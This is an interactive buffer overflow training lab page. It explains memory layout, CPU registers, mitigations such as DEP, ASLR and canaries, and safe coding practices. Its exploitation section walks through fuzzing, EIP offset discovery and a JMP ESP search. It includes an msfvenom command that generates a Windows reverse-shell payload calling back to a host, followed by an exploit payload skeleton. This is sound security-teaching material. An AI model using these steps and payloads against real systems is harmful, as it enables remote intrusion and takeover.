Buffer Overflow & Exploitation Lab

Master the Dark Art of Memory Corruption

EDUCATIONAL PURPOSE ONLY
This lab is designed for defensive security training. Unauthorized exploitation is illegal.

Your Progress

0%
Completion
0
XP Earned
0
Exploits Simulated
0%

Concept Overview

Basics
Types
Registers
Exploitation
Protections

What is a Buffer Overflow?

A buffer overflow occurs when a program writes more data to a buffer (fixed-size memory region) than it can hold, causing data to spill into adjacent memory locations.

Root Causes:
  • Improper Memory Allocation: Insufficient buffer size for expected input
  • No Bounds Checking: Functions like strcpy(), gets() don't validate input length
  • Unsafe Languages: C/C++ allow direct memory manipulation without safety checks
Consequences:
  • Program crashes and denial of service
  • Arbitrary code execution (ACE)
  • Privilege escalation
  • System compromise

Memory Layout

Stack (High Address)

Static allocation, grows downward. Contains local variables, function parameters, return addresses.

Heap

Dynamic allocation (malloc/new), grows upward. Runtime-allocated memory for objects and data structures.

Data Segment

Global and static variables. Initialized and uninitialized data sections (BSS).

Code Segment (Low Address)

Executable program instructions. Usually read-only to prevent code modification.

Stack-Based Buffer Overflow

Characteristics: Most common type. Exploits stack memory where local variables and return addresses are stored.

  • Targets EBP (Base Pointer) and EIP (Instruction Pointer)
  • Overwrites return address to redirect execution
  • Predictable memory layout in many architectures
void vulnerable_function(char *input) { char buffer[64]; // 64-byte buffer strcpy(buffer, input); // No bounds checking! // If input > 64 bytes, overflow occurs }

Heap-Based Buffer Overflow

Characteristics: Exploits dynamically allocated memory. More complex but highly dangerous.

  • Uses malloc(), calloc(), realloc()
  • Can overwrite heap metadata (chunk headers)
  • Targets function pointers, vtables, or adjacent heap objects
  • Less predictable than stack overflows
char *buffer = (char*)malloc(64); strcpy(buffer, user_input); // Overflow if input > 64 bytes // Can corrupt adjacent heap chunks

Key CPU Registers (x86 Architecture)

EIP
0x08048000

Extended Instruction Pointer - Points to next instruction to execute

ESP
0xbffff7a0

Extended Stack Pointer - Points to top of stack

EBP
0xbffff7c8

Extended Base Pointer - Reference point for stack frame

EAX
0x00000000

Accumulator - Return values, arithmetic

The Critical Target: EIP

Control the EIP register, and you control the program's execution flow. By overwriting the saved return address on the stack with your chosen address, you can redirect execution to shellcode or existing code (ROP chains).

Stack Frame Structure:
  • Function Parameters: Pushed onto stack before call
  • Return Address: Address to return to after function completes
  • Saved EBP: Previous stack frame's base pointer
  • Local Variables: Function's local data (buffer location!)

Buffer Overflow Exploitation Process

Step 1: Fuzzing

Send increasingly large inputs to find the crash point. Determine exactly how many bytes cause the overflow.

# Python fuzzing example for i in range(0, 5000, 100): payload = "A" * i send_to_target(payload)
Step 2: Controlling EIP

Use pattern_create and pattern_offset tools to find exact offset to EIP.

# Metasploit tools /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000 /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 396F4338
Step 3: Finding Bad Characters

Identify characters that break the exploit (null bytes, newlines, etc.). Send all possible bytes and check which ones are mangled.

badchars = ( "\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f" # ... check each byte in memory )
Step 4: Finding Return Address (JMP ESP)

Find a JMP ESP instruction in executable memory (not affected by ASLR). This becomes our return address.

# Using mona.py in Immunity Debugger !mona jmp -r esp -cpb "\x00\x0a\x0d" # Returns address like: 0x625011af
Step 5: Generating Shellcode

Create payload using msfvenom, avoiding bad characters.

msfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.1 LPORT=4444 \ -b "\x00\x0a\x0d" -f python -v shellcode
Final Exploit Structure:
payload = "" payload += "A" * offset # Fill buffer payload += "\xaf\x11\x50\x62" # JMP ESP address (little-endian) payload += "\x90" * 16 # NOP sled payload += shellcode # Malicious code

Modern Protection Mechanisms

DEP (Data Execution Prevention)

Also known as: NX (No-eXecute), W^X (Write XOR Execute)

How it works: Marks memory pages as either writable OR executable, never both. Prevents shellcode execution on the stack.

Bypass: Return-Oriented Programming (ROP) - chain existing code snippets (gadgets) instead of injecting new code.

ASLR (Address Space Layout Randomization)

How it works: Randomizes memory addresses of stack, heap, libraries on each execution. Makes hardcoded addresses unreliable.

Bypass: Information leaks to discover addresses, brute force on 32-bit systems, ROP chains with relative addressing.

Stack Canaries

Also known as: Stack cookies, stack guards

How it works: Places random value before return address. Checks if canary is intact before function returns.

Bypass: Leak canary value, overwrite canary with correct value, target other memory regions.

Safe Coding Practices

Prevention methods:

  • Use safe functions: strncpy() vs strcpy()
  • Input validation and bounds checking
  • Modern languages (Rust, Go) with memory safety
  • Static analysis tools (Coverity, Fortify)
  • Compiler flags: -fstack-protector, -D_FORTIFY_SOURCE

Interactive Stack Simulator

Visualize how buffer overflows corrupt stack memory and overwrite the EIP register.

Before Overflow

0xbffff7f0: EIP = 0x08048450
0xbffff7ec: Saved EBP = 0xbffff808
0xbffff7e8: Local Var 2 = 0x00000000
0xbffff7e4: Local Var 1 = 0x00000000
0xbffff7a0-e0: Buffer[64] = (empty)

After Overflow

0xbffff7f0: EIP = 0x08048450
0xbffff7ec: Saved EBP = 0xbffff808
0xbffff7e8: Local Var 2 = 0x00000000
0xbffff7e4: Local Var 1 = 0x00000000
0xbffff7a0-e0: Buffer[64] = (empty)
EIP
0x08048450
ESP
0xbffff7a0
EBP
0xbffff808

Shellcode Anatomy

Understanding the structure of shellcode - the malicious payload executed after successful exploitation.

What is \xNN notation?

Shellcode is raw machine code written as hexadecimal bytes. The \x prefix indicates a hex value:

  • \x31 = byte value 49 in decimal (0011 0001 in binary)
  • \xc0 = byte value 192 in decimal
  • \x90 = NOP instruction (No Operation) - commonly used in NOP sleds

Each \xNN is one byte of CPU instruction that executes directly on the processor. Chained together, they form the malicious payload.

Click "Generate Shellcode" to see example payload...

Shellcode Components:
  • NOP Sled (0x90): Series of no-operation instructions to increase landing zone
  • Decoder Stub: Decodes encoded payload to evade detection
  • Payload: Actual malicious code (shell, command execution)
  • Exit Handler: Gracefully terminates to avoid crashes

Exploitation Tools Reference

Debuggers

  • Immunity Debugger: Windows debugger with Python scripting (mona.py)
  • OllyDbg: x86 debugger for Windows binaries
  • GDB: GNU Debugger for Linux (PEDA, GEF extensions)
  • WinDbg: Microsoft's powerful kernel/user-mode debugger

Exploitation Frameworks

  • Metasploit: Complete exploitation framework with modules
  • pwntools: Python CTF framework and exploit development
  • ROPgadget: Find ROP gadgets in binaries
  • Ropper: Advanced ROP gadget finder

Analysis Tools

  • IDA Pro/Ghidra: Reverse engineering and disassembly
  • Binary Ninja: Modern reverse engineering platform
  • radare2: Open-source reverse engineering framework
  • Hopper: macOS/Linux disassembler

Payload Generation

  • msfvenom: Metasploit payload generator
  • shellcraft: pwntools shellcode generator
  • nasm: Netwide Assembler for custom shellcode
  • Veil: Payload generator for AV evasion

Knowledge Assessment

Test your understanding of buffer overflow concepts and exploitation techniques.

Completion Status

Complete all sections and pass the quiz to earn your XP reward!

Requirements:
  • Review all concept tabs
  • Run at least 3 overflow simulations
  • Generate shellcode examples
  • Score 80% or higher on the quiz